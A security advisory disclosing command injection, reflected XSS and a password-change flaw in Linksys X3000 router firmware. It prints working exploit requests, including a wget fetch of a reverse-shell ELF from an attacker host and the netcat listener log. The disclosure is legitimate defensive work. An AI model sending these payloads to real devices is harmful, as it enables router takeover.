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Device: X3000 Vendor: Linksys ============Vulnerable Firmware Releases: ============ Firmware Version: v1.0.03 build 001 Jun 11,2012 ============ Vulnerability Overview: ============ * OS Command Injection The vulnerability is caused by missing input validation in the ping_ip parameter and can be exploited to inject and execute arbitrary shell commands. You need to be authenticated to the device or you have to find other methods for inserting the malicious commands. * OS Command Injection - Vector 1 (1): => Parameter: ping_ip Example Exploit: POST /apply.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.1.1/Diagnostics.asp Authorization: Basic XXX= Content-Type: application/x-www-form-urlencoded Content-Length: 194 Connection: close submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20ping%20-c%201%20192%2e168%2e1%2e147%20%3b&ping_size=&ping_times=5&traceroute_ip= Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/x3000-os-command-injection.png ============================= To get a shell: * 1st Request submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20wget http://192.168.178.105/mipsbe_reverse_shell.elf -O /tmp/test1%20%3b&ping_size=&ping_times=5&traceroute_ip= => 2nd Request: Requesting change of permissions => 3rd Request: Requesting execution of your payload * Webserver is hosting Big endian MIPS Shellcode: # ls /var/www/ mipsbe_reverse_shell.elf * starting local listener via netcat: # nc -vlp 4444 listening on [any] 4444 ... 192.168.178.188: inverse host lookup failed: Unknown server error : Connection timed out connect to [192.168.178.105] from (UNKNOWN) [192.168.178.188] 44424 <snip> ============================= * OS Command Injection - Vector 1 (2): => Parameter: Add_Account_Password Example Exploit: POST /apply.cgi HTTP/1.1 Host: 192.168.178.188 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.178.188/User_Properties.asp Authorization: Basic XXX= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 444 command=device_data&cur_ipaddr=192.168.178.188&next_page=StorageAdminUserAdd1.htm&redirect_timer=1&reboot=0&data1=&next_page=&submit_button=User_Properties&submit_type=create_user&change_action=gozila_cgi&Add_Account_Group_Name=&access_group_name=&delete_groups=&Modify_Account_Name=&Add_Account_Name=pwnd&full_name=pwnd&user_desc=pwnd&Add_Account_Password=<code>ping%20192%2e168%2e178%2e103</code>&Add_Account_PasswordConfirm=pwnd&Add_Account_Group=admin * For changing the password there is no request to the current password (3): With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser. * reflected XSS Injecting scripts into the following parameters reveals that these are not properly validated for malicious input. => Parameter: ping_ip (4) POST /apply.cgi HTTP/1.1 Host: 192.168.178.188 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.178.188/Diagnostics.asp Authorization: Basic XXX= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 156 submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=1.1.1.1'><script>alert(1)</script>&ping_size=32&ping_times=5&traceroute_ip= => Parameter: sortby (5) POST /apply.cgi HTTP/1.1 Host: 192.168.178.188 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.178.188/DHCPTable.asp Authorization: Basic XXX= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 103 submit_button=DHCPTable&change_action=&submit_type=&small_screen=&ip=&mac=&if_name=&nowait=1&sortby=mac"%3balert(1)// => Parameter: submit_button (6) POST /apply.cgi HTTP/1.1 Host: 192.168.178.188 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.178.188/WanMAC.asp Authorization: Basic XXX= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 106 submit_button=WanMAC'%3balert(1)//&change_action=&submit_type=&action=Apply&wait_time=3&mac_clone_enable=0 ============ Solution ============ Update to version "v1.0.05 build 002 Feb 21,2013" to fix the following findings: 1, 2, 4, 5, 6 ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de/advisories Twitter: @s3cur1ty_de ============ Time Line: ============ 28.01.2013 - discovered vulnerability 04.02.2013 - Reported vulnerability privately to vendor 22.02.2013 - Requested update 25.02.2013 - Linksys responded that there are no updates 18.03.2013 - Requested update => and some more update requests ... 08.05.2013 - Testing update from vendor 08.05.2013 - responded testing results 21.06.2013 - Linksys informed me about public available firmware update 22.06.2013 - public disclosure ===================== Advisory end ===================== |
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